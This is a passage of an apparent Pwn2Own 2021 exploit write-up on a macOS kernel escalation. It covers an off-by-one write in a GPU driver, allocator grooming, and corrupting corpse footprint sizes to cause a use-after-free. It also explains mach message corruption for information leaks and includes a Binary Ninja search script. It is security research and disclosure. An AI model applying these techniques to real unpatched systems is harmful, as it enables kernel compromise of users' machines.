address&quot;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;long&lt;/span&gt; gpu_addr;&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;this&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color:rgb(220,220,170)&quot;&gt;bind_resource&lt;/span&gt;(&lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;this&lt;/span&gt;, info, *sb&amp;gt;&amp;gt;&lt;span style=&quot;color:rgb(181,206,168)&quot;&gt;16&lt;/span&gt;, &amp;amp;gpu_addr, ...);&lt;/div&gt;&lt;font color=&quot;#d4d4d4&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&lt;span style=&quot;color:rgb(106,153,85)&quot;&gt;&amp;nbsp; &amp;nbsp; // get index from sb&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;long&lt;/span&gt; idx = (*sb&amp;gt;&amp;gt;&lt;span style=&quot;color:rgb(181,206,168)&quot;&gt;3&lt;/span&gt;)&amp;amp;&lt;span style=&quot;color:rgb(181,206,168)&quot;&gt;0x7f&lt;/span&gt;;&lt;/div&gt;&lt;font color=&quot;#d4d4d4&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&lt;span style=&quot;color:rgb(106,153,85)&quot;&gt;&amp;nbsp; &amp;nbsp; // bounds check the index against dbuf0 base/length&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color:rgb(197,134,192)&quot;&gt;if&lt;/span&gt; (&amp;amp;&lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;db0&lt;/span&gt;[idx+&lt;span style=&quot;color:rgb(181,206,168)&quot;&gt;1&lt;/span&gt;] &amp;lt;= &lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;info&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;dbuf0_base&lt;/span&gt; + &lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;info&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;dbuf0_size&lt;/span&gt;) {&lt;span style=&quot;color:rgb(106,153,85)&quot;&gt; // &amp;lt;--- [1]&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&lt;span style=&quot;color:rgb(106,153,85)&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // write low/high 32 bits&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;db0&lt;/span&gt;[idx] = gpu_addr;&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;db0&lt;/span&gt;[idx+&lt;span style=&quot;color:rgb(181,206,168)&quot;&gt;1&lt;/span&gt;] = gpu_addr&amp;gt;&amp;gt;&lt;span style=&quot;color:rgb(181,206,168)&quot;&gt;32&lt;/span&gt;;&lt;span style=&quot;color:rgb(106,153,85)&quot;&gt; // &amp;lt;--- [2]&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;}&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
The bounds check at &lt;code class=&quot;highlighter-rouge&quot;&gt;[1]&lt;/code&gt; is off-by-one. It ensures that &lt;code class=&quot;highlighter-rouge&quot;&gt;db0[idx]&lt;/code&gt; is within the bounds of data buffer 0, however the write to &lt;code class=&quot;highlighter-rouge&quot;&gt;db0[idx+1]&lt;/code&gt; at &lt;code class=&quot;highlighter-rouge&quot;&gt;[2]&lt;/code&gt; might be out-of-bounds. This gives us an out-of-bounds write primitive to the 4 bytes immediately after a resource buffer.&lt;/p&gt;

&lt;p&gt;While we can only speculate, this bug may have been introduced when GPU addresses became 64-bit instead of 32-bit, and the bounds check wasn’t updated to match.&lt;/p&gt;

&lt;p&gt;Resources can be created with a parent resource and a 64-bit offset, which sets the child resource’s GPU address to be the parent’s plus the offset. We can discover the parent’s GPU address through intended functionality of the driver, so we’ll know what value to offset from. This gives us full control of the 4 bytes written out-of-bounds.&lt;/p&gt;

&lt;h2 id=&quot;resource-buffer-allocation&quot;&gt;Resource Buffer Allocation&lt;/h2&gt;

&lt;p&gt;Our next task is to find a corruption target that we can place directly after the resource buffer, whose first 4 bytes would be “useful” to corrupt. It will help to understand how and where resource buffers are allocated in kernel memory so that we can reliably control what gets allocated around it.&lt;/p&gt;

&lt;p&gt;Virtual memory from the perspective of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Mach_(kernel)&quot;&gt;Mach kernel&lt;/a&gt; is managed through a hierarchy of &lt;code class=&quot;highlighter-rouge&quot;&gt;vm_map&lt;/code&gt; objects. The top-level map, &lt;code class=&quot;highlighter-rouge&quot;&gt;kernel_map&lt;/code&gt;, encompasses the entire kernel virtual memory range. Sub-maps reserve a smaller range of virtual addresses within the parent map (which is usually &lt;code class=&quot;highlighter-rouge&quot;&gt;kernel_map&lt;/code&gt;). Lots more info can be found &lt;a href=&quot;http://newosxbook.com/bonus/democratizingZones.pdf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A resource buffer is implemented as an &lt;code class=&quot;highlighter-rouge&quot;&gt;IOBufferMemoryDescriptor&lt;/code&gt; with, among others, the &lt;code class=&quot;highlighter-rouge&quot;&gt;kIOMemoryPageable&lt;/code&gt; option set. The backing buffers for pageable memory descriptors come from a special set of sub-maps for pageable IOKit allocations, managed by the global structure &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/iokit/Kernel/IOLib.cpp.auto.html#:~:text=gIOKitPageableSpace&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;gIOKitPageableSpace&lt;/code&gt;&lt;/a&gt;. This space allows for up to 8 maps of 512MB each.&lt;/p&gt;

&lt;p&gt;The main entrypoint for allocating in pageable space is &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/iokit/Kernel/IOLib.cpp.auto.html#:~:text=IOIteratePageableMaps&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;IOIteratePageableMaps&lt;/code&gt;&lt;/a&gt;. The algorithm is pretty simple: starting at the submap with index &lt;code class=&quot;highlighter-rouge&quot;&gt;hint&lt;/code&gt; (map used for the last successful allocation), iterate backwards until a map is able to service the allocation. If none have enough space, create a brand new 512MB sub-map.&lt;/p&gt;

&lt;h2 id=&quot;ensuring-reliable-allocation-placement&quot;&gt;Ensuring Reliable Allocation Placement&lt;/h2&gt;

&lt;p&gt;Pageable space seems to primarily be used for binary-blob-like data, so we chose to target something outside pageable space, i.e. by placing the resource buffer at the very end of a sub-map, and the victim object right after.&lt;/p&gt;

&lt;p&gt;In order to make this reliable, our strategy will look something like:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Force allocation of a brand new 512MB sub-map with a 512MB resource
    &lt;ul&gt;
      &lt;li&gt;it is highly unlikely a system under normal usage will have an existing 512MB hole in &lt;code class=&quot;highlighter-rouge&quot;&gt;kernel_map&lt;/code&gt;, this effectively guarantees our resource will be placed at the end of virtual memory.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Place data buffer 0 at the end of the new map
    &lt;ul&gt;
      &lt;li&gt;free the 512MB resource&lt;/li&gt;
      &lt;li&gt;allocate a padding resource to fill the start of the map, with size &lt;code class=&quot;highlighter-rouge&quot;&gt;512MB - &amp;lt;size of dbuf0&amp;gt;&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;allocate dbuf0&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Allocate the victim object, which for reliability, should be sufficiently large enough to be placed at the end of virtual memory (i.e. there are no holes in &lt;code class=&quot;highlighter-rouge&quot;&gt;kernel_map&lt;/code&gt; large enough for the victim object).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now we must find a “large” victim object that we can allocate with an interesting first 4 bytes.&lt;/p&gt;

&lt;h2 id=&quot;identifying-viable-corruption-targets--victim-objects&quot;&gt;Identifying Viable Corruption Targets / Victim Objects&lt;/h2&gt;

&lt;p&gt;There are a few common memory allocation functions in the kernel, for example &lt;code class=&quot;highlighter-rouge&quot;&gt;kernel_memory_allocate&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;kalloc&lt;/code&gt;. &lt;code class=&quot;highlighter-rouge&quot;&gt;kalloc&lt;/code&gt; is the most common method of dynamically allocating memory in kernel code.&lt;/p&gt;

&lt;p&gt;For &lt;code class=&quot;highlighter-rouge&quot;&gt;kalloc&lt;/code&gt;, allocations of &lt;code class=&quot;highlighter-rouge&quot;&gt;0x4000&lt;/code&gt; or less are handled by the zone allocator. &lt;code class=&quot;highlighter-rouge&quot;&gt;0x80000&lt;/code&gt; (512KB) or less goes to &lt;code class=&quot;highlighter-rouge&quot;&gt;kalloc_map&lt;/code&gt;, a special sub-map. Anything larger is allocated directly from &lt;code class=&quot;highlighter-rouge&quot;&gt;kernel_map&lt;/code&gt;. If we needed to, we could completely fill &lt;code class=&quot;highlighter-rouge&quot;&gt;kalloc_map&lt;/code&gt; such that further allocations would fall back to &lt;code class=&quot;highlighter-rouge&quot;&gt;kernel_map&lt;/code&gt;. This means, if we are looking for candidate victim objects allocated through &lt;code class=&quot;highlighter-rouge&quot;&gt;kalloc&lt;/code&gt;, we should search for allocations that can be at least &lt;code class=&quot;highlighter-rouge&quot;&gt;0x4001&lt;/code&gt; bytes.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://binary.ninja/&quot;&gt;Binary Ninja&lt;/a&gt; analysis can be pretty helpful here, allowing us to script searching for any calls to the various allocation functions with a possibly large enough size argument. (analysis will take quite a while, and you might need to force analyze a few functions for the script to work, and/or add &lt;code class=&quot;highlighter-rouge&quot;&gt;__noreturn&lt;/code&gt; to &lt;code class=&quot;highlighter-rouge&quot;&gt;panic&lt;/code&gt;)&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem; background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div style=&quot;background-color: rgb(30, 30, 30); line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&lt;div style=&quot;line-height: 19px; white-space: pre;&quot;&gt;&lt;div style=&quot;line-height: 19px;&quot;&gt;&lt;div style=&quot;line-height: 19px;&quot;&gt;&lt;div style=&quot;line-height: 19px;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;# if &lt;span zeum4c1=&quot;PR_10_0&quot; data-ddnwab=&quot;PR_10_0&quot; aria-invalid=&quot;spelling&quot; class=&quot;LI ng&quot;&gt;xref'ing&lt;/span&gt; kalloc, the internal kalloc function has no symbol name&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;# need to get the address manually (&lt;span zeum4c1=&quot;PR_11_0&quot; data-ddnwab=&quot;PR_11_0&quot; aria-invalid=&quot;spelling&quot; class=&quot;LI ng&quot;&gt;tailcalled&lt;/span&gt; from kalloc_external)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;xrefs = bv.get_callers(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;ffffff800028c8d0&lt;/span&gt;)&lt;/div&gt;&lt;div&gt;minsize = &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;4001&lt;/span&gt;&lt;/div&gt;&lt;div&gt;sites = []&lt;/div&gt;&lt;div&gt;sizes = []&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;for&lt;/span&gt; ref &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;in&lt;/span&gt; xrefs:&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;repr&lt;/span&gt;(ref))&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; mlil = ref.function.get_low_level_il_at(ref.address).mlil&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; mlil.operation &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;not&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;in&lt;/span&gt; (MLIL_CALL, MLIL_TAILCALL):&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;raise&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;Exception&lt;/span&gt;(&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;bad mlil&quot;&lt;/span&gt;)&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; size = mlil.operands[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;2&lt;/span&gt;][&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;# change second index depending on which arg is size&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;size: &quot;&lt;/span&gt;+&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;repr&lt;/span&gt;(size))&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; vals = size.possible_values&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; vals.type &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;in&lt;/span&gt; (RegisterValueType.ConstantPointerValue, RegisterValueType.ConstantValue)\&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;and&lt;/span&gt; vals.value &amp;lt; minsize:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;continue&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;elif&lt;/span&gt; vals.type &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;in&lt;/span&gt; (RegisterValueType.UnsignedRangeValue, RegisterValueType.SignedRangeValue):&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; maxx = &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;max&lt;/span&gt;(r.end &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;for&lt;/span&gt; r &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;in&lt;/span&gt; vals.ranges)&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; maxx &amp;lt; minsize:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;continue&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;elif&lt;/span&gt; vals.type == RegisterValueType.InSetOfValues:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;all&lt;/span&gt;(v &amp;lt; minsize &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;for&lt;/span&gt; v &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;in&lt;/span&gt; vals.values):&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;continue&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; sites.append(ref)&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; sizes.append(vals)&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: rgb(215, 186, 125);&quot;&gt;\n\n&lt;/span&gt;&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;&lt;/span&gt;+&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;=&quot;&lt;/span&gt;*&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;34&lt;/span&gt;+&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: rgb(215, 186, 125);&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;&lt;/span&gt;)&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;for&lt;/span&gt; i &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;range&lt;/span&gt;(&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;len&lt;/span&gt;(sites)):&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;0x&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;%016x&lt;/span&gt;&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;%-48s&lt;/span&gt;&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;%r&lt;/span&gt;&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;&lt;/span&gt;%(sites[i].address, sites[i].function.symbol.full_name, sizes[i]))&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;corpse-footprints&quot;&gt;Corpse Footprints&lt;/h2&gt;

&lt;p&gt;The victim structure we targeted with our exploit involves &lt;a href=&quot;http://newosxbook.com/files/corpses.pdf&quot;&gt;corpses&lt;/a&gt;. In XNU, a corpse is a forked, dead version of a task typically generated during certain exceptions. It is also possible to directly generate one with a call to &lt;code class=&quot;highlighter-rouge&quot;&gt;task_generate_corpse&lt;/code&gt;, which returns a mach port representing the corpse.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Note: Following Pwn2Own 2021, Apple updated the WebContent sandbox to block this interface.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Upon creating a corpse, a sort of snapshot of its memory footprint is collected in a variably sized binary format. It is allocated in &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/vm/vm_map.c.auto.html#:~:text=kernel_memory_allocate&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;vm_map_corpse_footprint_collect&lt;/code&gt;&lt;/a&gt; directly from &lt;code class=&quot;highlighter-rouge&quot;&gt;kernel_map&lt;/code&gt; with &lt;code class=&quot;highlighter-rouge&quot;&gt;kernel_memory_allocate&lt;/code&gt;. The size is dependent on the task’s virtual memory size, up to a maximum of 8MB.&lt;/p&gt;

&lt;p&gt;The size is stored in the first field of the allocation, &lt;code class=&quot;highlighter-rouge&quot;&gt;cf_size&lt;/code&gt;:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem; background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div style=&quot;background-color: rgb(30, 30, 30); line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&lt;div style=&quot;line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;vm_map_corpse_footprint_header&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;vm_size_t&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; cf_size;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* allocated buffer size */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; // ...&lt;/span&gt;&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
and upon destruction of the corpse in &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/vm/vm_map.c.auto.html#:~:text=%0avm_map_corpse_footprint_destroy&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;vm_map_corpse_footprint_destroy&lt;/code&gt;&lt;/a&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;cf_size&lt;/code&gt; is passed as the size to &lt;code class=&quot;highlighter-rouge&quot;&gt;vm_deallocate&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;By corrupting &lt;code class=&quot;highlighter-rouge&quot;&gt;cf_size&lt;/code&gt;, we can artificially enlarge the footprint such that it overlaps adjacent victim allocations, which will then be freed along with the footprint.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/p2o_2021_eop_footprint_before.svg&quot; data-lightbox=&quot;p2o_2021_eop_footprint_before.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/p2o_2021_eop_footprint_before.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/p2o_2021_eop_footprint_after.svg&quot; data-lightbox=&quot;p2o_2021_eop_footprint_after.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/p2o_2021_eop_footprint_after.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;This allows us to induce a UAF of the victim object, although we again should stick to sufficiently large allocations for reliability’s sake. There is a caveat with this UAF technique in that the victim object must be pageable memory, as opposed to “wired” memory.&lt;/p&gt;

&lt;h2 id=&quot;wired-kernel-allocations&quot;&gt;Wired Kernel Allocations&lt;/h2&gt;

&lt;p&gt;The vast majority of kernel allocations are wired. When these mappings are removed with &lt;code class=&quot;highlighter-rouge&quot;&gt;vm_map_remove&lt;/code&gt;, a flag &lt;code class=&quot;highlighter-rouge&quot;&gt;VM_MAP_REMOVE_KUNWIRE&lt;/code&gt; indicates that the virtual memory entry’s wired count (a refcount of sorts) should be decremented. Either way, it waits for the wired count to reach zero before actually removing the entry.&lt;/p&gt;

&lt;p&gt;The corpse footprint is one of the rare objects allocated as pageable, and so upon freeing, the unwire flag will not be used. If the overlapped victim allocation is wired, the kernel thread will hang, waiting for an unwire that will not occur. In practical terms, this means we can only UAF a pageable victim allocation.&lt;/p&gt;

&lt;p&gt;Conveniently, we have already encountered a potentially useful pageable allocation: IOKit pageable space. The plan at this stage becomes:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Allocate a new pageable map with a data buffer at the end&lt;/li&gt;
  &lt;li&gt;Allocate the corpse footprint&lt;/li&gt;
  &lt;li&gt;Allocate a new-new pageable map after the footprint&lt;/li&gt;
  &lt;li&gt;Allocate a second data buffer in the new-new map&lt;/li&gt;
  &lt;li&gt;Trigger the bug, enlarging the footprint&lt;/li&gt;
  &lt;li&gt;Destroy the corpse, freeing both the footprint and the new-new map&lt;/li&gt;
  &lt;li&gt;The second data buffer now points to freed memory&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Using VPHAL tokens (but this time with in-bounds offsets), we can easily write arbitrary 64-bit values to the freed data buffer. Yet again, for reliability, it is best to attempt reclaiming the freed data buffer memory with large enough objects.&lt;/p&gt;

&lt;h2 id=&quot;initial-kernel-information-leaks&quot;&gt;Initial Kernel Information Leaks&lt;/h2&gt;

&lt;p&gt;At this point, we have turned the 4 byte out-of-bounds write into the ability to arbitrarily corrupt the contents of any large allocation. To obtain a few information leaks, we’ll abuse mach message bodies, which have an upper allocation size limit of roughly 64MB.&lt;/p&gt;

&lt;p&gt;Some relevant background: mach message bodies have a header followed by the rest of the message. The message can be “simple” or “complex” as indicated by a bit in one of the header fields, &lt;code class=&quot;highlighter-rouge&quot;&gt;msgh_bits&lt;/code&gt;. A simple message is simply raw bytes. A complex message can contain several descriptors, which can be used to send port rights and/or memory mappings to the message recipient. In either case, the header field &lt;code class=&quot;highlighter-rouge&quot;&gt;msgh_size&lt;/code&gt; indicates the buffer size of the entire message body.&lt;/p&gt;

&lt;p&gt;Mach messages are represented in the kernel by &lt;code class=&quot;highlighter-rouge&quot;&gt;ipc_kmsg&lt;/code&gt; structs, which contain a field &lt;code class=&quot;highlighter-rouge&quot;&gt;ikm_header&lt;/code&gt; pointing to the message body copied in and converted from its userspace representation. The body will be our corruption target.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;mach_port_peek&lt;/code&gt; allows “peeking” at the first message on a port’s receive queue. One of the peeked values is the message trailer, usually appended to the message body by the mach kernel. The trailer is normally located at &lt;code class=&quot;highlighter-rouge&quot;&gt;ikm_header + ikm_header-&amp;gt;msgh_size&lt;/code&gt;, but by corrupting &lt;code class=&quot;highlighter-rouge&quot;&gt;msgh_size&lt;/code&gt;, we can move the trailer out-of-bounds to obtain an out-of-bounds read:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Note: &lt;code class=&quot;highlighter-rouge&quot;&gt;mach_port_peek&lt;/code&gt; is also no longer allowed by the WebContent sandbox!&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/p2o_2021_eop_leak_target_before.svg&quot; data-lightbox=&quot;p2o_2021_eop_leak_target_before.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/p2o_2021_eop_leak_target_before.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
